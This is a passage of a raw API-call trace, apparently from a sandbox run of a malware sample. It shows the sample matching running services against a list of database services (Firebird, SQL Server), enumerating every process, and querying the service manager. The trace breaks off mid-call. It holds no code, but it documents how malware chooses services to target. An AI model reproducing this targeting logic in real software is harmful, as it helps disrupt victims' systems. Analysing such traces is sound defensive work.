[0217.090] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0217.090] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0217.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0217.090] lstrlenW (lpString="nsi") returned 3 [0217.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0217.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0217.090] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0217.090] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0217.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0217.091] lstrlenW (lpString="PcaSvc") returned 6 [0217.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0217.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0217.091] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0217.091] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0217.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0217.091] lstrlenW (lpString="PlugPlay") returned 8 [0217.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0217.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0217.091] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0217.091] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0217.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0217.091] lstrlenW (lpString="Power") returned 5 [0217.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0217.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0217.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0217.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0217.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0217.091] lstrlenW (lpString="ProfSvc") returned 7 [0217.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0217.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0217.091] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0217.091] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0217.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0217.091] lstrlenW (lpString="RpcEptMapper") returned 12 [0217.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0217.091] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0217.091] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0217.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0217.091] lstrlenW (lpString="RpcSs") returned 5 [0217.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0217.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0217.091] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0217.092] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0217.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0217.092] lstrlenW (lpString="SamSs") returned 5 [0217.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0217.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0217.092] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0217.092] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0217.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0217.092] lstrlenW (lpString="Schedule") returned 8 [0217.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0217.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0217.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0217.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0217.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0217.092] lstrlenW (lpString="SecurityHealthService") returned 21 [0217.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0217.092] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0217.092] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0217.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0217.092] lstrlenW (lpString="SENS") returned 4 [0217.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0217.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0217.092] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0217.092] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0217.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0217.092] lstrlenW (lpString="ShellHWDetection") returned 16 [0217.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0217.092] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0217.092] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0217.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0217.092] lstrlenW (lpString="Spooler") returned 7 [0217.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0217.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0217.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0217.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0217.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0217.093] lstrlenW (lpString="StateRepository") returned 15 [0217.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0217.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0217.093] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0217.093] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0217.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0217.093] lstrlenW (lpString="SysMain") returned 7 [0217.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0217.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0217.093] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0217.093] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0217.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0217.093] lstrlenW (lpString="SystemEventsBroker") returned 18 [0217.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0217.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0217.093] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0217.093] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0217.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0217.093] lstrlenW (lpString="Themes") returned 6 [0217.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0217.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0217.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0217.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0217.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0217.093] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0217.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0217.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0217.093] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0217.093] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0217.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0217.094] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0217.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0217.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0217.094] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0217.094] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0217.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5ff0 | out: hHeap=0x670000) returned 1 [0217.094] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0217.100] Process32FirstW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.100] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.101] lstrlenW (lpString="System") returned 6 [0217.101] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.101] lstrlenW (lpString="smss.exe") returned 8 [0217.101] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.101] lstrlenW (lpString="csrss.exe") returned 9 [0217.102] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.102] lstrlenW (lpString="wininit.exe") returned 11 [0217.102] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.102] lstrlenW (lpString="csrss.exe") returned 9 [0217.103] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.103] lstrlenW (lpString="winlogon.exe") returned 12 [0217.103] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.103] lstrlenW (lpString="services.exe") returned 12 [0217.103] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.104] lstrlenW (lpString="lsass.exe") returned 9 [0217.104] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.104] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.104] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.137] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.137] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.138] lstrlenW (lpString="svchost.exe") returned 11 [0217.141] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.144] lstrlenW (lpString="svchost.exe") returned 11 [0217.144] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.145] lstrlenW (lpString="dwm.exe") returned 7 [0217.145] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.145] lstrlenW (lpString="svchost.exe") returned 11 [0217.145] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.146] lstrlenW (lpString="svchost.exe") returned 11 [0217.146] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.146] lstrlenW (lpString="svchost.exe") returned 11 [0217.146] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.147] lstrlenW (lpString="svchost.exe") returned 11 [0217.147] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.147] lstrlenW (lpString="svchost.exe") returned 11 [0217.147] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.148] lstrlenW (lpString="svchost.exe") returned 11 [0217.148] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.149] lstrlenW (lpString="svchost.exe") returned 11 [0217.149] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.149] lstrlenW (lpString="svchost.exe") returned 11 [0217.149] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.150] lstrlenW (lpString="svchost.exe") returned 11 [0217.150] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.150] lstrlenW (lpString="svchost.exe") returned 11 [0217.150] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.151] lstrlenW (lpString="spoolsv.exe") returned 11 [0217.151] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.151] lstrlenW (lpString="taskhostw.exe") returned 13 [0217.152] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.152] lstrlenW (lpString="svchost.exe") returned 11 [0217.153] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.153] lstrlenW (lpString="audiodg.exe") returned 11 [0217.153] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0217.154] lstrlenW (lpString="sihost.exe") returned 10 [0217.154] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.154] lstrlenW (lpString="svchost.exe") returned 11 [0217.154] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0217.155] lstrlenW (lpString="MDMAgent.exe") returned 12 [0217.155] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.155] lstrlenW (lpString="taskhostw.exe") returned 13 [0217.155] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.156] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0217.156] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0217.157] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0217.157] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0217.157] lstrlenW (lpString="Memory Compression") returned 18 [0217.157] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.158] lstrlenW (lpString="explorer.exe") returned 12 [0217.158] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.158] lstrlenW (lpString="SearchUI.exe") returned 12 [0217.158] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.159] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0217.159] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.159] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0217.159] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.160] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.160] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0217.161] lstrlenW (lpString="mobsync.exe") returned 11 [0217.161] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0217.161] lstrlenW (lpString="finbbp.exe") returned 10 [0217.161] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.162] lstrlenW (lpString="cmd.exe") returned 7 [0217.162] Process32NextW (in: hSnapshot=0x278, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0217.164] CloseHandle (hObject=0x278) returned 1 [0217.165] Sleep (dwMilliseconds=0x1f4) [0217.668] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad7f0 [0217.668] EnumServicesStatusExW (in: hSCManager=0x6ad7f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0217.669] GetLastError () returned 0xea [0217.669] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ae2) returned 0x6cdd50 [0217.669] EnumServicesStatusExW (in: hSCManager=0x6ad7f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6cdd50, cbBufSize=0x1ae2, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: 